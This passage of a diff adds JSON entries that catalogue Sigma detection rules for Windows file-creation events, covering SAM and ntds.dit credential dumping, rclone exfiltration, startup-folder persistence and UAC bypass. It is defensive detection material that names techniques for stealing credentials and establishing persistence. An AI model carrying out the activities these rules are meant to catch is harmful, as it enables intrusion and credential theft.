"attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2021/05/26", + "filename": "file_event_win_rclone_exec_file.yml", + "author": "Aaron Greetham (@beardofbinary) - NCC Group", + "level": "high", + "falsepositive": [ + "Legitimate Rclone usage (rare)" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects actions caused by the RedMimicry Winnti playbook", + "uuid": "130c9e58-28ac-4f83-8574-0a4cc913b97e", + "value": "RedMimicry Winnti Playbook Dropped File", + "meta": { + "refs": [ + "https://redmimicry.com", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_redmimicry_winnti_filedrop.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2020/06/24", + "filename": "file_event_win_redmimicry_winnti_filedrop.yml", + "author": "Alexander Rausch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.", + "uuid": "a6976974-ea6f-4e97-818e-ea08625c52cb", + "value": "RipZip Attack on Startup Folder", + "meta": { + "refs": [ + "https://twitter.com/jonasLyk/status/1549338335243534336?t=CrmPocBGLbDyE4p6zTX1cg&s=19", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ripzip_attack.yml" + ], + "tags": [ + "attack.t1547", + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "file_event_win_ripzip_attack.yml", + "author": "Greg (rule)", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of files that look like exports of the local SAM (Security Account Manager)", + "uuid": "4e87b8e2-2ee9-4b2a-a715-4727d297ece0", + "value": "SAM Dump File Creation", + "meta": { + "refs": [ + "https://github.com/search?q=CVE-2021-36934", + "https://github.com/cube0x0/CVE-2021-36934", + "https://www.google.com/search?q=%22reg.exe+save%22+sam", + "https://github.com/HuskyHacks/ShadowSteal", + "https://github.com/FireFart/hivenightmare", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sam_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2022/02/11", + "filename": "file_event_win_sam_dump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Rare cases of administrative activity" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "fec96f39-988b-4586-b746-b93d59fd1922", + "value": "ScreenConnect Temporary Installation Artefact", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_screenconnect_artefact.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/13", + "filename": "file_event_win_screenconnect_artefact.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.", + "uuid": "c7a74c80-ba5a-486e-9974-ab9e682bc5e4", + "value": "Created Files by Office Applications", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_script_creation_by_office_using_file_ext.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.execution" + ], + "creation_date": "2021/08/23", + "filename": "file_event_win_script_creation_by_office_using_file_ext.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Windows executable that writes files to suspicious folders", + "uuid": "1277f594-a7d1-4f28-a2d3-73af5cbeab43", + "value": "Windows Shell File Write to Suspicious Folder", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_directory.yml" + ], + "tags": "No established tags", + "creation_date": "2021/11/20", + "filename": "file_event_win_shell_write_susp_directory.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects windows executables that writes files with suspicious extensions", + "uuid": "b8fd0e93-ff58-4cbd-8f48-1c114e342e62", + "value": "Windows Binaries Write Suspicious Extensions", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_files_extensions.yml" + ], + "tags": "No established tags", + "creation_date": "2022/08/12", + "filename": "file_event_win_shell_write_susp_files_extensions.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.", + "uuid": "2aa0a6b4-a865-495b-ab51-c28249537b75", + "value": "Startup Folder File Write", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/12", + "https://threathunterplaybook.com/evals/apt29/detections/5.B.1_611FCA99-97D0-4873-9E51-1C1BA2DBB40D.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_startup_folder_file_write.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2020/05/02", + "filename": "file_event_win_startup_folder_file_write.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "An FP could be caused by legitimate application writing shortcuts for example. This folder should always be inspected to make sure that all the files in there are legitimate" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of ADSI (LDAP) operations by tools. This may also detect tools like LDAPFragger.", + "uuid": "75bf09fa-1dd7-4d18-9af9-dd9e492562eb", + "value": "Suspicious ADSI-Cache Usage By Unknown Tool", + "meta": { + "refs": [ + "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", + "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", + "https://github.com/fox-it/LDAPFragger", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_adsi_cache_usage.yml" + ], + "tags": [ + "attack.t1001.003", + "attack.command_and_control" + ], + "creation_date": "2019/03/24", + "filename": "file_event_win_susp_adsi_cache_usage.yml", + "author": "xknow @xknow_infosec, Tim Shelton", + "level": "high", + "falsepositive": [ + "Other legimate tools, which do ADSI (LDAP) operations, e.g. any remoting activity by MMC, Powershell, Windows etc." + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious .NET assembly executions. Could detect using Cobalt Strike's command execute-assembly.", + "uuid": "e4b63079-6198-405c-abd7-3fe8b0ce3263", + "value": "Suspicious CLR Logs Creation", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", + "https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/", + "https://github.com/olafhartong/sysmon-modular/blob/5e5f6d90819a7f35eec0aba08021d0d201bb9055/11_file_create/include_dotnet.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_clr_logs.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1059.001", + "attack.t1218" + ], + "creation_date": "2020/10/12", + "filename": "file_event_win_susp_clr_logs.yml", + "author": "omkar72, oscd.community, Wojciech Lesicki", + "level": "high", + "falsepositive": [ + "Rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process - https://twitter.com/SBousseaden/status/1388064061087260675" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Once executed, colorcpl.exe will copy the arbitrary file to c:\\windows\\system32\\spool\\drivers\\color\\", + "uuid": "e15b518d-b4ce-4410-a9cd-501f23ce4a18", + "value": "Suspicious Creation with Colorcpl", + "meta": { + "refs": [ + "https://twitter.com/eral4m/status/1480468728324231172?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_colorcpl.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564" + ], + "creation_date": "2022/01/21", + "filename": "file_event_win_susp_colorcpl.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects suspicious files created by Microsoft Sync Center (mobsync)", + "uuid": "409f8a98-4496-4aaa-818a-c931c0a8b832", + "value": "Created Files by Microsoft Sync Center", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_creation_by_mobsync.yml" + ], + "tags": [ + "attack.t1055", + "attack.t1218", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2022/04/28", + "filename": "file_event_win_susp_creation_by_mobsync.yml", + "author": "elhoim", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder", + "uuid": "5f87308a-0a5b-4623-ae15-d8fa1809bc60", + "value": "Suspicious Files in Default GPO Folder", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_default_gpo_dir_write.yml" + ], + "tags": [ + "attack.t1036.005", + "attack.defense_evasion" + ], + "creation_date": "2022/04/28", + "filename": "file_event_win_susp_default_gpo_dir_write.yml", + "author": "elhoim", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension", + "uuid": "fc4f4817-0c53-4683-a4ee-b17a64bc1039", + "value": "Suspicious Desktopimgdownldr Target File", + "meta": { + "refs": [ + "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", + "https://twitter.com/SBousseaden/status/1278977301745741825", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1105" + ], + "creation_date": "2020/07/03", + "filename": "file_event_win_susp_desktopimgdownldr_file.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", + "uuid": "81315b50-6b60-4d8f-9928-3466e1022515", + "value": "Suspicious desktop.ini Action", + "meta": { + "refs": [ + "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_ini.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.009" + ], + "creation_date": "2020/03/19", + "filename": "file_event_win_susp_desktop_ini.yml", + "author": "Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO)", + "level": "medium", + "falsepositive": [ + "Operations performed through Windows SCCM or equivalent", + "Read only access list authority" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Ransomware create txt file in the user Desktop", + "uuid": "caf02a0a-1e1c-4552-9b48-5e070bd88d11", + "value": "Suspicious Creation TXT File in User Desktop", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1486/T1486.md#atomic-test-5---purelocker-ransom-note", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_txt.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ], + "creation_date": "2021/12/26", + "filename": "file_event_win_susp_desktop_txt.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)", + "uuid": "3d0ed417-3d94-4963-a562-4a92c940656a", + "value": "Creation of a Diagcab", + "meta": { + "refs": [ + "https://threadreaderapp.com/thread/1533879688141086720.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_diagcab.yml" + ], + "tags": [ + "attack.resource_development" + ], + "creation_date": "2022/06/08", + "filename": "file_event_win_susp_diagcab.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate microsoft diagcab" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", + "uuid": "b4926b47-a9d7-434c-b3a0-adc3fa0bd13e", + "value": "Suspicious Double Extension Files", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", + "https://twitter.com/malwrhunterteam/status/1235135745611960321", + "https://twitter.com/luc4m/status/1073181154126254080", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_double_extension.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.007" + ], + "creation_date": "2022/06/19", + "filename": "file_event_win_susp_double_extension.yml", + "author": "Nasreddine Bencherchali, frack113", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of an executable by another executable", + "uuid": "297afac9-5d02-4138-8c58-b977bac60556", + "value": "Creation of an Executable by an Executable", + "meta": { + "refs": [ + "Malware Sandbox", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_dropper.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ], + "creation_date": "2022/03/09", + "filename": "file_event_win_susp_dropper.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Software installers", + "Update utilities" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation", + "uuid": "7280c9f3-a5af-45d0-916a-bc01cb4151c9", + "value": "Suspicious MSExchangeMailboxReplication ASPX Write", + "meta": { + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_exchange_aspx_write.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2022/02/25", + "filename": "file_event_win_susp_exchange_aspx_write.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detect creation of suspicious executable file name. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.", + "uuid": "74babdd6-a758-4549-9632-26535279e654", + "value": "Suspicious Executable File Creation", + "meta": { + "refs": [ + "https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae", + "https://app.any.run/tasks/76c69e2d-01e8-49d9-9aea-fb7cc0c4d3ad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_executable_creation.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564" + ], + "creation_date": "2022/09/05", + "filename": "file_event_win_susp_executable_creation.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Get-Variable is a valid PowerShell cmdlet\nWindowsApps is by default in the path where PowerShell is executed.\nSo when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.\n", + "uuid": "0c3fac91-5627-46e8-a6a8-a0d7b9b8ae1b", + "value": "Suspicious Get-Variable.exe Creation", + "meta": { + "refs": [ + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", + "https://www.joesandbox.com/analysis/465533/0/html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_get_variable.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/04/23", + "filename": "file_event_win_susp_get_variable.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects dropped files with LNK double extension, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", + "uuid": "3215aa19-f060-4332-86d5-5602511f3ca8", + "value": "Suspicious LNK Double Extension Files", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", + "https://twitter.com/malwrhunterteam/status/1235135745611960321", + "https://twitter.com/luc4m/status/1073181154126254080", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.007" + ], + "creation_date": "2022/11/07", + "filename": "file_event_win_susp_lnk_double_extension.yml", + "author": "Nasreddine Bencherchali, frack113", + "level": "medium", + "falsepositive": [ + "Users creating a shortcut on e.g. desktop" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes that write (copy) a Active Directory database (ntds.dit) file", + "uuid": "11b1ed55-154d-4e82-8ad7-83739298f720", + "value": "Suspicious Process Writes Ntds.dit", + "meta": { + "refs": [ + "https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/", + "https://adsecurity.org/?p=2398", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_ntds_dit.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.003" + ], + "creation_date": "2022/01/11", + "filename": "file_event_win_susp_ntds_dit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.", + "uuid": "dca1b3e8-e043-4ec8-85d7-867f334b5724", + "value": "Suspicious PFX File Creation", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/14", + "https://threathunterplaybook.com/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_pfx_file_creation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.004" + ], + "creation_date": "2020/05/02", + "filename": "file_event_win_susp_pfx_file_creation.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "System administrators managing certififcates." + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", + "uuid": "b5b78988-486d-4a80-b991-930eff3ff8bf", + "value": "PowerShell Profile Modification", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "https://persistence-info.github.io/Data/powershellprofile.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_powershell_profile.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.013" + ], + "creation_date": "2019/10/24", + "filename": "file_event_win_susp_powershell_profile.yml", + "author": "HieuTT35, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "System administrator create Powershell profile manually" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder.\nThis driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU.\n", + "uuid": "3da70954-0f2c-4103-adff-b7440368f50e", + "value": "Suspicious PROCEXP152.sys File Created In TMP", + "meta": { + "refs": [ + "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml" + ], + "tags": [ + "attack.t1562.001", + "attack.defense_evasion" + ], + "creation_date": "2019/04/08", + "filename": "file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml", + "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", + "level": "medium", + "falsepositive": [ + "Other legimate tools using this driver and filename (like Sysinternals). Note - Clever attackers may easily bypass this detection by just renaming the driver filename. Therefore just Medium-level and don't rely on it." + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of suspcious binary files inside the \"\\windows\\system32\\spool\\drivers\\color\\\" as seen in the blog referenced below", + "uuid": "ce7066a6-508a-42d3-995b-2952c65dc2ce", + "value": "Drop Binaries Into Spool Drivers Color Folder", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_spool_drivers_color_drop.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/07/28", + "filename": "file_event_win_susp_spool_drivers_color_drop.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a file with a suspicious extension is created in the startup folder", + "uuid": "28208707-fe31-437f-9a7f-4b1108b94d2e", + "value": "Suspicious Startup Folder Persistence", + "meta": { + "refs": [ + "https://github.com/last-byte/PersistenceSniper", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_startup_folder_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2022/08/10", + "filename": "file_event_win_susp_startup_folder_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare legitimate usage of some of the extensions mentioned in the rule" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context", + "uuid": "5b40a734-99b6-4b98-a1d0-1cea51a08ab2", + "value": "Suspicious Interactive PowerShell as SYSTEM", + "meta": { + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PowerSploit_Invoke-Mimikatz.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_system_interactive_powershell.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/07", + "filename": "file_event_win_susp_system_interactive_powershell.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity", + "PowerShell scripts running as SYSTEM user" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of tasks from processes executed from suspicious locations", + "uuid": "80e1f67a-4596-4351-98f5-a9c3efabac95", + "value": "Suspicious Scheduled Task Write to System32 Tasks", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_task_write.yml" + ], + "tags": [ + "attack.persistence", + "attack.execution", + "attack.t1053" + ], + "creation_date": "2021/11/16", + "filename": "file_event_win_susp_task_write.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of log files during a TeamViewer remote session", + "uuid": "162ab1e4-6874-4564-853c-53ec3ab8be01", + "value": "TeamViewer Remote Session", + "meta": { + "refs": [ + "https://www.teamviewer.com/en-us/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_teamviewer_remote_session.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/01/30", + "filename": "file_event_win_susp_teamviewer_remote_session.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate uses of TeamViewer in an organisation" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", + "uuid": "3a9fa2ec-30bc-4ebd-b49e-7c9cff225502", + "value": "VsCode Powershell Profile Modification", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_vscode_powershell_profile.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.013" + ], + "creation_date": "2022/08/24", + "filename": "file_event_win_susp_vscode_powershell_profile.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate use of the profile by developers or administrators" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of an file in user Word Startup", + "uuid": "a10a2c40-2c4d-49f8-b557-1a946bc55d9d", + "value": "Creation In User Word Startup Folder", + "meta": { + "refs": [ + "Malware Sandbox https://app.any.run/tasks/d6fe6624-6ef8-485d-aa75-3d1bdda2a08c/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_winword_startup.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ], + "creation_date": "2022/06/05", + "filename": "file_event_win_susp_winword_startup.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Addition of legitimate plugins" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects default PsExec service filename which indicates PsExec service installation and execution", + "uuid": "259e5a6a-b8d2-4c38-86e2-26c5e651361d", + "value": "PsExec Service File Creation", + "meta": { + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tool_psexec.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2017/06/12", + "filename": "file_event_win_tool_psexec.yml", + "author": "Thomas Patzke", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder", + "uuid": "52753ea4-b3a0-4365-910d-36cff487b789", + "value": "Hijack Legit RDP Session to Move Laterally", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tsclient_filewrite_startup.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2019/02/21", + "filename": "file_event_win_tsclient_filewrite_startup.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", + "uuid": "62ed5b55-f991-406a-85d9-e8e8fdf18789", + "value": "UAC Bypass Using Consent and Comctl32 - File", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + 